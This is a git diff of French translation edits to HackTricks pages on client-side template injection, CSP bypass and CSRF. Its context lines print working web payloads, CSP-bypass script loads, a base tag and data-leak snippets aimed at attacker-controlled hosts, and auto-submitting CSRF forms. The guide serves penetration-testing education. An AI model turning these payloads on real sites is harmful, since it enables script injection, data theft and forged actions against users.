 - **Visualiseur d'avertissement(s) de permission** : qui montre une liste de tous les avertissements de demande de permission Chrome qui seront affichés lorsqu'un utilisateur tentera d'installer l'extension.
 - **Fonction(s) dangereuse(s)** : montre l'emplacement des fonctions dangereuses qui pourraient potentiellement être exploitées par un attaquant (par exemple, des fonctions telles que innerHTML, chrome.tabs.executeScript).
@@ -683,7 +683,7 @@ Bien que les extensions de navigateur aient une **surface d'attaque limitée**,
 - **Bibliothèques vulnérables connues** : Cela utilise [Retire.js](https://retirejs.github.io/retire.js/) pour vérifier toute utilisation de bibliothèques JavaScript connues comme vulnérables.
 - Télécharger l'extension et les versions formatées.
 - Télécharger l'extension originale.
-- Télécharger une version embelie de l'extension (HTML et JavaScript auto-formatés).
+- Télécharger une version beautifiée de l'extension (HTML et JavaScript auto-formatés).
 - Mise en cache automatique des résultats de scan, exécuter un scan d'extension prendra un bon moment la première fois que vous l'exécutez. Cependant, la deuxième fois, à condition que l'extension n'ait pas été mise à jour, sera presque instantanée grâce aux résultats étant mis en cache.
 - URLs de rapport liables, permettant de lier facilement quelqu'un d'autre à un rapport d'extension généré par tarnish.
 

src/pentesting-web/client-side-template-injection-csti.md

@@ -1,16 +1,16 @@
-# Injection de modèle côté client (CSTI)
+# Injection de Modèle Côté Client (CSTI)
 
 {{#include ../banners/hacktricks-training.md}}
 
 ## Résumé
 
-C'est comme une [**Injection de modèle côté serveur**](ssti-server-side-template-injection/) mais dans le **client**. Le **SSTI** peut vous permettre d'**exécuter du code** sur le serveur distant, le **CSTI** pourrait vous permettre d'**exécuter du JavaScript** arbitraire dans le navigateur de la victime.
+C'est comme une [**Injection de Modèle Côté Serveur**](ssti-server-side-template-injection/index.html) mais dans le **client**. Le **SSTI** peut vous permettre d'**exécuter du code** sur le serveur distant, le **CSTI** pourrait vous permettre d'**exécuter du JavaScript** arbitraire dans le navigateur de la victime.
 
 **Tester** cette vulnérabilité est très **similaire** au cas de **SSTI**, l'interpréteur s'attend à **un modèle** et l'exécutera. Par exemple, avec une charge utile comme `{{ 7-7 }}`, si l'application est **vulnérable**, vous verrez un `0`, et sinon, vous verrez l'original : `{{ 7-7 }}`
 
 ## AngularJS
 
-AngularJS est un framework JavaScript largement utilisé qui interagit avec HTML via des attributs connus sous le nom de directives, l'une des plus notables étant **`ng-app`**. Cette directive permet à AngularJS de traiter le contenu HTML, permettant l'exécution d'expressions JavaScript à l'intérieur de doubles accolades.
+AngularJS est un framework JavaScript largement utilisé qui interagit avec HTML via des attributs connus sous le nom de directives, l'une d'elles étant **`ng-app`**. Cette directive permet à AngularJS de traiter le contenu HTML, permettant l'exécution d'expressions JavaScript à l'intérieur de doubles accolades.
 
 Dans des scénarios où l'entrée utilisateur est insérée dynamiquement dans le corps HTML étiqueté avec `ng-app`, il est possible d'exécuter du code JavaScript arbitraire. Cela peut être réalisé en tirant parti de la syntaxe d'AngularJS dans l'entrée. Voici des exemples démontrant comment du code JavaScript peut être exécuté :
 ```javascript
@@ -35,7 +35,7 @@ Et le **code source** de l'exemple vulnérable ici : [https://github.com/azu/vue
 <!-- Google Research - Vue.js-->
 "><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
 ```
-Un très bon article sur CSTI dans VUE peut être trouvé à [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
+Un très bon article sur le CSTI dans VUE peut être trouvé à [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
 
 ### **V3**
 ```

src/pentesting-web/content-security-policy-csp-bypass/README.md

@@ -6,13 +6,13 @@
 
 La Politique de Sécurité du Contenu (CSP) est reconnue comme une technologie de navigateur, principalement destinée à **protéger contre des attaques telles que le cross-site scripting (XSS)**. Elle fonctionne en définissant et en détaillant les chemins et les sources à partir desquels les ressources peuvent être chargées en toute sécurité par le navigateur. Ces ressources englobent une gamme d'éléments tels que des images, des cadres et du JavaScript. Par exemple, une politique pourrait permettre le chargement et l'exécution de ressources depuis le même domaine (self), y compris les ressources en ligne et l'exécution de code sous forme de chaîne via des fonctions comme `eval`, `setTimeout` ou `setInterval`.
 
-La mise en œuvre de CSP se fait par le biais de **headers de réponse** ou en incorporant **des éléments meta dans la page HTML**. En suivant cette politique, les navigateurs appliquent proactivement ces stipulations et bloquent immédiatement toute violation détectée.
+La mise en œuvre de CSP se fait par le biais des **en-têtes de réponse** ou en intégrant des **éléments meta dans la page HTML**. En suivant cette politique, les navigateurs appliquent proactivement ces stipulations et bloquent immédiatement toute violation détectée.
 
-- Mis en œuvre via le header de réponse :
+- Mis en œuvre via l'en-tête de réponse :
 ```
 Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
 ```
-- Mis en œuvre via une balise meta :
+- Implémenté via une balise meta :
 ```xml
 <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
 ```
@@ -20,8 +20,8 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
 
 CSP peut être appliqué ou surveillé à l'aide de ces en-têtes :
 
-- `Content-Security-Policy`: Applique le CSP ; le navigateur bloque toute violation.
-- `Content-Security-Policy-Report-Only`: Utilisé pour la surveillance ; signale les violations sans les bloquer. Idéal pour les tests dans des environnements de pré-production.
+- `Content-Security-Policy` : Applique le CSP ; le navigateur bloque toute violation.
+- `Content-Security-Policy-Report-Only` : Utilisé pour la surveillance ; signale les violations sans les bloquer. Idéal pour les tests dans des environnements de pré-production.
 
 ### Définir les ressources
 
@@ -40,14 +40,14 @@ object-src 'none';
 ### Directives
 
 - **script-src**: Permet des sources spécifiques pour JavaScript, y compris les URL, les scripts en ligne et les scripts déclenchés par des gestionnaires d'événements ou des feuilles de style XSLT.
-- **default-src**: Définit une politique par défaut pour le chargement des ressources lorsque des directives de chargement spécifiques sont absentes.
+- **default-src**: Définit une politique par défaut pour le chargement des ressources lorsque des directives de récupération spécifiques sont absentes.
 - **child-src**: Spécifie les ressources autorisées pour les travailleurs web et le contenu des cadres intégrés.
 - **connect-src**: Restreint les URL qui peuvent être chargées en utilisant des interfaces comme fetch, WebSocket, XMLHttpRequest.
 - **frame-src**: Restreint les URL pour les cadres.
 - **frame-ancestors**: Spécifie quelles sources peuvent intégrer la page actuelle, applicable à des éléments comme `<frame>`, `<iframe>`, `<object>`, `<embed>`, et `<applet>`.
 - **img-src**: Définit les sources autorisées pour les images.
 - **font-src**: Spécifie les sources valides pour les polices chargées en utilisant `@font-face`.
-- **manifest-src**: Définit les sources autorisées des fichiers manifestes d'application.
+- **manifest-src**: Définit les sources autorisées des fichiers de manifeste d'application.
 - **media-src**: Définit les sources autorisées pour le chargement des objets multimédias.
 - **object-src**: Définit les sources autorisées pour les éléments `<object>`, `<embed>`, et `<applet>`.
 - **base-uri**: Spécifie les URL autorisées pour le chargement en utilisant des éléments `<base>`.
@@ -58,7 +58,7 @@ object-src 'none';
 - **report-to**: Spécifie un groupe auquel un rapport sera envoyé si la politique est violée.
 - **worker-src**: Spécifie les sources valides pour les scripts Worker, SharedWorker ou ServiceWorker.
 - **prefetch-src**: Spécifie les sources valides pour les ressources qui seront récupérées ou pré-récupérées.
-- **navigate-to**: Restreint les URL vers lesquelles un document peut naviguer par n'importe quel moyen (a, formulaire, window.location, window.open, etc.)
+- **navigate-to**: Restreint les URL vers lesquelles un document peut naviguer par n'importe quel moyen (a, form, window.location, window.open, etc.)
 
 ### Sources
 
@@ -74,7 +74,7 @@ object-src 'none';
 
 <details>
 
-<summary>Charger un script en réutilisant le nonce</summary>
+<summary>Load script reusing nonce</summary>
 ```html
 <!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
 <img
@@ -96,7 +96,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 - `filesystem:`: Permet de charger des ressources à partir du système de fichiers.
 - `'report-sample'`: Inclut un échantillon du code violant dans le rapport de violation (utile pour le débogage).
 - `'strict-origin'`: Semblable à 'self' mais garantit que le niveau de sécurité du protocole des sources correspond au document (seules les origines sécurisées peuvent charger des ressources à partir d'origines sécurisées).
-- `'strict-origin-when-cross-origin'`: Envoie des URL complètes lors de la réalisation de requêtes de même origine mais envoie uniquement l'origine lorsque la requête est inter-origine.
+- `'strict-origin-when-cross-origin'`: Envoie des URL complètes lors de la réalisation de requêtes de même origine mais envoie uniquement l'origine lorsque la requête est cross-origin.
 - `'unsafe-allow-redirects'`: Permet de charger des ressources qui redirigeront immédiatement vers une autre ressource. Non recommandé car cela affaiblit la sécurité.
 
 ## Règles CSP non sécurisées
@@ -128,7 +128,7 @@ Charge utile fonctionnelle :
 
 Si vous parvenez d'une manière ou d'une autre à faire en sorte qu'un **code JS autorisé crée une nouvelle balise script** dans le DOM avec votre code JS, parce qu'un script autorisé la crée, la **nouvelle balise script sera autorisée à être exécutée**.
 
-### Wildcard (\*)
+### Wildcard (*)
 ```yaml
 Content-Security-Policy: script-src 'self' https://google.com https: data *;
 ```
@@ -155,13 +155,13 @@ Content-Security-Policy: script-src 'self';  object-src 'none' ;
 ```
 Si vous pouvez télécharger un fichier JS, vous pouvez contourner cette CSP :
 
-Charge utile fonctionnelle :
+Payload fonctionnel :
 ```markup
 "/>'><script src="/uploads/picture.png.js"></script>
 ```
-Cependant, il est très probable que le serveur **valide le fichier téléchargé** et n'autorise que le **téléchargement de types de fichiers déterminés**.
+Cependant, il est très probable que le serveur **valide le fichier téléchargé** et n'autorisera que le **téléchargement de types de fichiers déterminés**.
 
-De plus, même si vous pouviez télécharger un **code JS à l'intérieur** d'un fichier avec une extension acceptée par le serveur (comme : _script.png_), cela ne suffira pas car certains serveurs comme le serveur apache **sélectionnent le type MIME du fichier en fonction de l'extension** et des navigateurs comme Chrome **refuseront d'exécuter le code Javascript** à l'intérieur de quelque chose qui devrait être une image. "Espérons-le", il y a des erreurs. Par exemple, lors d'un CTF, j'ai appris que **Apache ne connaît pas** l'extension _**.wave**_, donc il ne la sert pas avec un **type MIME comme audio/\***.
+De plus, même si vous pouviez télécharger un **code JS à l'intérieur** d'un fichier avec une extension acceptée par le serveur (comme : _script.png_), cela ne suffira pas car certains serveurs comme le serveur apache **sélectionnent le type MIME du fichier en fonction de l'extension** et des navigateurs comme Chrome **refuseront d'exécuter du code Javascript** à l'intérieur de quelque chose qui devrait être une image. "Heureusement", il y a des erreurs. Par exemple, lors d'un CTF, j'ai appris que **Apache ne connaît pas** l'extension _**.wave**_, donc il ne la sert pas avec un **type MIME comme audio/\***.
 
 À partir de là, si vous trouvez un XSS et un téléchargement de fichier, et que vous parvenez à trouver une **extension mal interprétée**, vous pourriez essayer de télécharger un fichier avec cette extension et le contenu du script. Ou, si le serveur vérifie le format correct du fichier téléchargé, créez un polyglot ([quelques exemples de polyglots ici](https://github.com/Polydet/polyglot-database)).
 
@@ -176,7 +176,7 @@ Si l'injection de JS n'est pas possible, vous pourriez toujours essayer d'exfilt
 ```yaml
 Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
 ```
-Charge une version vulnérable d'angular et exécutez du JS arbitraire :
+Charger une version vulnérable d'angular et exécuter du JS arbitraire :
 ```xml
 <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
 <div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@@ -200,7 +200,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
 #### Payloads utilisant Angular + une bibliothèque avec des fonctions qui retournent l'objet `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
 
 > [!NOTE]
-> Le post montre que vous pourriez **charger** toutes les **bibliothèques** depuis `cdn.cloudflare.com` (ou tout autre dépôt de bibliothèques JS autorisées), exécuter toutes les fonctions ajoutées de chaque bibliothèque, et vérifier **quelles fonctions de quelles bibliothèques retournent l'objet `window`**.
+> Le post montre que vous pourriez **charger** toutes les **bibliothèques** depuis `cdn.cloudflare.com` (ou tout autre dépôt de bibliothèques JS autorisé), exécuter toutes les fonctions ajoutées de chaque bibliothèque, et vérifier **quelles fonctions de quelles bibliothèques retournent l'objet `window`**.
 ```markup
 <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
 <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@@ -322,7 +322,7 @@ Vous devriez être en mesure d'exfiltrer des données, de la même manière qu'i
 5. Allez dans "Gestionnaire d'événements" de votre application et sélectionnez l'application que vous avez créée (notez que le gestionnaire d'événements pourrait être trouvé dans une URL similaire à ceci : https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
 6. Sélectionnez l'onglet "Événements de test" pour voir les événements envoyés par "votre" site web.
 
-Ensuite, du côté de la victime, vous exécutez le code suivant pour initialiser le pixel de suivi Facebook afin de pointer vers l'ID d'application du compte développeur Facebook de l'attaquant et émettre un événement personnalisé comme ceci :
+Ensuite, du côté de la victime, vous exécutez le code suivant pour initialiser le pixel de suivi Facebook pour pointer vers l'ID d'application du compte développeur Facebook de l'attaquant et émettre un événement personnalisé comme ceci :
 ```JavaScript
 fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
 fbq('trackCustom', 'My-Custom-Event',{​
@@ -335,7 +335,7 @@ En ce qui concerne les sept autres domaines tiers spécifiés dans le tableau pr
 
 En plus de la redirection mentionnée pour contourner les restrictions de chemin, il existe une autre technique appelée Relative Path Overwrite (RPO) qui peut être utilisée sur certains serveurs.
 
-Par exemple, si le CSP permet le chemin `https://example.com/scripts/react/`, il peut être contourné comme suit :
+Par exemple, si CSP permet le chemin `https://example.com/scripts/react/`, il peut être contourné comme suit :
 ```html
 <script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
 ```
@@ -359,10 +359,10 @@ Exemple en ligne :[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsb
 
 ### **base-uri** manquant
 
-Si la directive **base-uri** est manquante, vous pouvez en abuser pour effectuer une [**injection de balisage pendante**](../dangling-markup-html-scriptless-injection/).
+Si la directive **base-uri** est manquante, vous pouvez en abuser pour effectuer une [**injection de balisage pendante**](../dangling-markup-html-scriptless-injection/index.html).
 
 De plus, si la **page charge un script en utilisant un chemin relatif** (comme `<script src="/js/app.js">`) en utilisant un **Nonce**, vous pouvez abuser de la **balise** **base** pour faire **charger** le script depuis **votre propre serveur, réalisant ainsi un XSS.**\
-Si la page vulnérable est chargée avec **httpS**, utilisez une URL httpS dans la base.
+Si la page vulnérable est chargée avec **httpS**, utilisez une URL httpS dans la balise de base.
 ```html
 <base href="https://www.attacker.com/" />
 ```
@@ -425,11 +425,11 @@ Cependant, le `http://localhost:5555/301` final sera **redirigé côté serveur
 
 Avec cette redirection, même si le chemin est spécifié complètement, il sera toujours contourné.
 
-Par conséquent, la meilleure solution est de s'assurer que le site Web n'a pas de vulnérabilités de redirection ouvertes et qu'il n'y a pas de domaines pouvant être exploités dans les règles CSP.
+Par conséquent, la meilleure solution est de s'assurer que le site Web n'a pas de vulnérabilités de redirection ouvertes et qu'il n'y a pas de domaines qui peuvent être exploités dans les règles CSP.
 
-### Contourner CSP avec du balisage pendu
+### Contournement de CSP avec balisage pendu
 
-Lisez [comment ici](../dangling-markup-html-scriptless-injection/).
+Lisez [comment ici](../dangling-markup-html-scriptless-injection/index.html).
 
 ### 'unsafe-inline'; img-src \*; via XSS
 ```
@@ -472,7 +472,7 @@ Vous pouvez trouver un exemple ici : [http://portswigger-labs.net/edge_csp_injec
 
 #### Edge
 
-Dans Edge, c'est beaucoup plus simple. Si vous pouvez ajouter dans le CSP juste ceci : **`;_`** **Edge** va **supprimer** l'**entière** **politique**.\
+Dans Edge, c'est beaucoup plus simple. Si vous pouvez ajouter dans le CSP juste ceci : **`;_`** **Edge** va **supprimer** l'**entière politique**.\
 Exemple : [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
 
 ### img-src \*; via XSS (iframe) - Attaque temporelle
@@ -542,13 +542,13 @@ run()
 ```
 ### Via Bookmarklets
 
-Cette attaque impliquerait une certaine ingénierie sociale où l'attaquant **convainc l'utilisateur de faire glisser et déposer un lien sur le bookmarklet du navigateur**. Ce bookmarklet contiendrait **du code javascript malveillant** qui, lorsqu'il est glissé et déposé ou cliqué, serait exécuté dans le contexte de la fenêtre web actuelle, **bypassant CSP et permettant de voler des informations sensibles** telles que des cookies ou des tokens.
+Cette attaque impliquerait une ingénierie sociale où l'attaquant **convainc l'utilisateur de faire glisser et déposer un lien sur le bookmarklet du navigateur**. Ce bookmarklet contiendrait **du code javascript malveillant** qui, lorsqu'il est glissé et déposé ou cliqué, serait exécuté dans le contexte de la fenêtre web actuelle, **bypassant le CSP et permettant de voler des informations sensibles** telles que des cookies ou des tokens.
 
 Pour plus d'informations [**consultez le rapport original ici**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
 
-### Bypass CSP en restreignant CSP
+### Bypass CSP en restreignant le CSP
 
-Dans [**ce writeup CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP est contourné en injectant à l'intérieur d'un iframe autorisé un CSP plus restrictif qui interdisait de charger un fichier JS spécifique qui, ensuite, via **prototype pollution** ou **dom clobbering**, permettait de **profiter d'un script différent pour charger un script arbitraire**.
+Dans [**ce rapport CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), le CSP est contourné en injectant à l'intérieur d'un iframe autorisé un CSP plus restrictif qui interdisait de charger un fichier JS spécifique qui, ensuite, via **prototype pollution** ou **dom clobbering**, permettait de **profiter d'un script différent pour charger un script arbitraire**.
 
 Vous pouvez **restreindre un CSP d'un Iframe** avec l'attribut **`csp`** :
 ```html
@@ -556,7 +556,7 @@ Vous pouvez **restreindre un CSP d'un Iframe** avec l'attribut **`csp`** :
 src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
 csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
 ```
-Dans [**ce rapport CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), il était possible via **HTML injection** de **restreindre** davantage un **CSP** afin qu'un script empêchant le CSTI soit désactivé et donc la **vulnérabilité est devenue exploitable.**\
+Dans [**ce rapport CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), il a été possible via **HTML injection** de **restreindre** davantage un **CSP** afin qu'un script empêchant le CSTI soit désactivé et donc la **vulnérabilité est devenue exploitable.**\
 Le CSP peut être rendu plus restrictif en utilisant **HTML meta tags** et les scripts en ligne peuvent désactiver **la suppression** de **l'entrée** permettant leur **nonce** et **activer des scripts en ligne spécifiques via sha** :
 ```html
 <meta
@@ -566,11 +566,11 @@ content="script-src 'self'
 'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
 'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
 ```
-### JS exfiltration avec Content-Security-Policy-Report-Only
+### Exfiltration JS avec Content-Security-Policy-Report-Only
 
 Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête **`Content-Security-Policy-Report-Only`** avec une **valeur contrôlée par vous** (peut-être à cause d'un CRLF), vous pourriez le faire pointer vers votre serveur et si vous **enveloppez** le **contenu JS** que vous souhaitez exfiltrer avec **`<script>`** et parce que `unsafe-inline` n'est probablement pas autorisé par le CSP, cela **déclenchera une erreur CSP** et une partie du script (contenant les informations sensibles) sera envoyée au serveur depuis `Content-Security-Policy-Report-Only`.
 
-Pour un exemple [**vérifiez ce CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
+Pour un exemple [**vérifiez ce writeup CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
 
 ### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
 ```javascript
@@ -625,16 +625,16 @@ SOME est une technique qui abuse d'un XSS (ou d'un XSS très limité) **dans un
 ../xss-cross-site-scripting/some-same-origin-method-execution.md
 {{#endref}}
 
-De plus, **wordpress** a un point de terminaison **JSONP** dans `/wp-json/wp/v2/users/1?_jsonp=data` qui va **réfléchir** les **données** envoyées dans la sortie (avec la limitation de seulement lettres, chiffres et points).
+De plus, **wordpress** a un point de terminaison **JSONP** dans `/wp-json/wp/v2/users/1?_jsonp=data` qui va **réfléchir** les **données** envoyées dans la sortie (avec la limitation de n'autoriser que les lettres, les chiffres et les points).
 
 Un attaquant peut abuser de ce point de terminaison pour **générer une attaque SOME** contre WordPress et **l'incorporer** à l'intérieur de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant pourrait abuser de l'**attaque SOME** via le point de terminaison **vulnérable** **callback** qui **contourne le CSP** pour donner plus de privilèges à un utilisateur, installer un nouveau plugin...\
 Pour plus d'informations sur la façon de réaliser cette attaque, consultez [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
 
-## Contournements d'exfiltration CSP
+## CSP Exfiltration Bypasses
 
-S'il y a un CSP strict qui ne vous permet pas de **interagir avec des serveurs externes**, il y a certaines choses que vous pouvez toujours faire pour exfiltrer les informations.
+S'il existe un CSP strict qui ne vous permet pas de **interagir avec des serveurs externes**, il y a certaines choses que vous pouvez toujours faire pour exfiltrer les informations.
 
-### Emplacement
+### Location
 
 Vous pourriez simplement mettre à jour l'emplacement pour envoyer au serveur de l'attaquant les informations secrètes :
 ```javascript
@@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off
 
 Sur plusieurs pages, vous pouvez lire que **WebRTC ne vérifie pas la politique `connect-src`** du CSP.
 
-En réalité, vous pouvez _leak_ des informations en utilisant une _requête DNS_. Consultez ce code :
+En fait, vous pouvez _leak_ des informations en utilisant une _requête DNS_. Consultez ce code :
 ```javascript
 ;(async () => {
 p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })

src/pentesting-web/csrf-cross-site-request-forgery.md

@@ -2,7 +2,7 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Cross-Site Request Forgery (CSRF) Explained
+## Cross-Site Request Forgery (CSRF) Expliqué
 
 **Cross-Site Request Forgery (CSRF)** est un type de vulnérabilité de sécurité que l'on trouve dans les applications web. Elle permet aux attaquants d'effectuer des actions au nom d'utilisateurs non méfiants en exploitant leurs sessions authentifiées. L'attaque est exécutée lorsqu'un utilisateur, connecté à la plateforme d'une victime, visite un site malveillant. Ce site déclenche alors des requêtes vers le compte de la victime par des méthodes telles que l'exécution de JavaScript, la soumission de formulaires ou le chargement d'images.
 
@@ -24,8 +24,8 @@ Vous pouvez **capturer la requête dans Burp** et vérifier les protections CSRF
 
 Plusieurs contre-mesures peuvent être mises en œuvre pour se protéger contre les attaques CSRF :
 
-- [**SameSite cookies**](hacking-with-cookies/index.html#samesite) : Cet attribut empêche le navigateur d'envoyer des cookies avec des requêtes intersites. [En savoir plus sur les cookies SameSite](hacking-with-cookies/index.html#samesite).
-- [**Cross-origin resource sharing**](cors-bypass.md) : La politique CORS du site victime peut influencer la faisabilité de l'attaque, surtout si l'attaque nécessite de lire la réponse du site victime. [En savoir plus sur le contournement CORS](cors-bypass.md).
+- [**Cookies SameSite**](hacking-with-cookies/index.html#samesite) : Cet attribut empêche le navigateur d'envoyer des cookies avec des requêtes intersites. [En savoir plus sur les cookies SameSite](hacking-with-cookies/index.html#samesite).
+- [**Partage de ressources entre origines**](cors-bypass.md) : La politique CORS du site victime peut influencer la faisabilité de l'attaque, surtout si l'attaque nécessite de lire la réponse du site victime. [En savoir plus sur le contournement CORS](cors-bypass.md).
 - **Vérification de l'utilisateur** : Demander le mot de passe de l'utilisateur ou résoudre un captcha peut confirmer l'intention de l'utilisateur.
 - **Vérification des en-têtes Referrer ou Origin** : Valider ces en-têtes peut aider à s'assurer que les requêtes proviennent de sources de confiance. Cependant, un façonnage soigneux des URL peut contourner des vérifications mal implémentées, telles que :
   - Utiliser `http://mal.net?orig=http://example.com` (l'URL se termine par l'URL de confiance)
@@ -59,7 +59,7 @@ Cette vulnérabilité permet aux attaquants de faire des requêtes non autorisé
 
 ### Contournement de méthode
 
-Si la requête utilise une "**méthode**" **"étrange**", vérifiez si la **fonctionnalité** de **surcharge de méthode** fonctionne. Par exemple, si elle **utilise une méthode PUT**, vous pouvez essayer d'**utiliser une méthode POST** et **envoyer** : _https://example.com/my/dear/api/val/num?**\_method=PUT**_
+Si la requête utilise une "**méthode**" **"bizarre"**, vérifiez si la **fonctionnalité** de **surcharge de méthode** fonctionne. Par exemple, si elle **utilise une méthode PUT**, vous pouvez essayer d'**utiliser une méthode POST** et **envoyer** : _https://example.com/my/dear/api/val/num?**\_method=PUT**_
 
 Cela pourrait également fonctionner en envoyant le **paramètre \_method à l'intérieur d'une requête POST** ou en utilisant les **en-têtes** :
 
@@ -69,9 +69,9 @@ Cela pourrait également fonctionner en envoyant le **paramètre \_method à l'i
 
 ### Contournement de token d'en-tête personnalisé
 
-Si la requête ajoute un **en-tête personnalisé** avec un **token** comme **méthode de protection CSRF**, alors :
+Si la requête ajoute un **en-tête personnalisé** avec un **token** à la requête comme **méthode de protection CSRF**, alors :
 
-- Testez la requête sans le **token personnalisé et aussi l'en-tête.**
+- Testez la requête sans le **Token Personnalisé et aussi l'en-tête.**
 - Testez la requête avec un **token de même longueur mais différent**.
 
 ### Le token CSRF est vérifié par un cookie
@@ -103,11 +103,11 @@ onerror="document.forms[0].submit();" />
 </html>
 ```
 > [!NOTE]
-> Notez que si le **token csrf est lié au cookie de session, cette attaque ne fonctionnera pas** car vous devrez définir la session de la victime, et donc vous vous attaquerez à vous-même.
+> Notez que si le **token csrf est lié au cookie de session, cette attaque ne fonctionnera pas** car vous devrez définir la session de la victime, et donc vous vous attaquerez vous-même.
 
 ### Changement de Content-Type
 
-Selon [**ceci**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), afin d'**éviter les** requêtes préliminaires utilisant la méthode **POST**, voici les valeurs de Content-Type autorisées :
+Selon [**ceci**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), afin d'**éviter les** requêtes de pré-vérification utilisant la méthode **POST**, voici les valeurs de Content-Type autorisées :
 
 - **`application/x-www-form-urlencoded`**
 - **`multipart/form-data`**
@@ -139,12 +139,12 @@ form.submit()
 Lors de l'envoi de données JSON via une requête POST, l'utilisation de `Content-Type: application/json` dans un formulaire HTML n'est pas directement possible. De même, l'utilisation de `XMLHttpRequest` pour envoyer ce type de contenu déclenche une requête préliminaire. Néanmoins, il existe des stratégies pour contourner cette limitation et vérifier si le serveur traite les données JSON indépendamment du Content-Type :
 
 1. **Utiliser des types de contenu alternatifs** : Employez `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` en définissant `enctype="text/plain"` dans le formulaire. Cette approche teste si le backend utilise les données indépendamment du Content-Type.
-2. **Modifier le type de contenu** : Pour éviter une requête préliminaire tout en garantissant que le serveur reconnaisse le contenu comme JSON, vous pouvez envoyer les données avec `Content-Type: text/plain; application/json`. Cela ne déclenche pas de requête préliminaire mais pourrait être traité correctement par le serveur s'il est configuré pour accepter `application/json`.
+2. **Modifier le type de contenu** : Pour éviter une requête préliminaire tout en s'assurant que le serveur reconnaît le contenu comme JSON, vous pouvez envoyer les données avec `Content-Type: text/plain; application/json`. Cela ne déclenche pas de requête préliminaire mais pourrait être traité correctement par le serveur s'il est configuré pour accepter `application/json`.
 3. **Utilisation de fichiers SWF Flash** : Une méthode moins courante mais réalisable consiste à utiliser un fichier SWF flash pour contourner de telles restrictions. Pour une compréhension approfondie de cette technique, référez-vous à [ce post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
 
 ### Contournement de la vérification du référent / origine
 
-**Éviter l'en-tête Referrer**
+**Éviter l'en-tête Referer**
 
 Les applications peuvent valider l'en-tête 'Referer' uniquement lorsqu'il est présent. Pour empêcher un navigateur d'envoyer cet en-tête, le tag meta HTML suivant peut être utilisé :
 ```xml
@@ -189,7 +189,7 @@ document.forms[0].submit()
 ```
 ### **Bypass de la méthode HEAD**
 
-La première partie de [**ce CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explique que [le code source d'Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un routeur, est configuré pour **traiter les requêtes HEAD comme des requêtes GET** sans corps de réponse - un contournement courant qui n'est pas unique à Oak. Au lieu d'un gestionnaire spécifique qui traite les requêtes HEAD, elles sont simplement **transmises au gestionnaire GET mais l'application supprime simplement le corps de la réponse**.
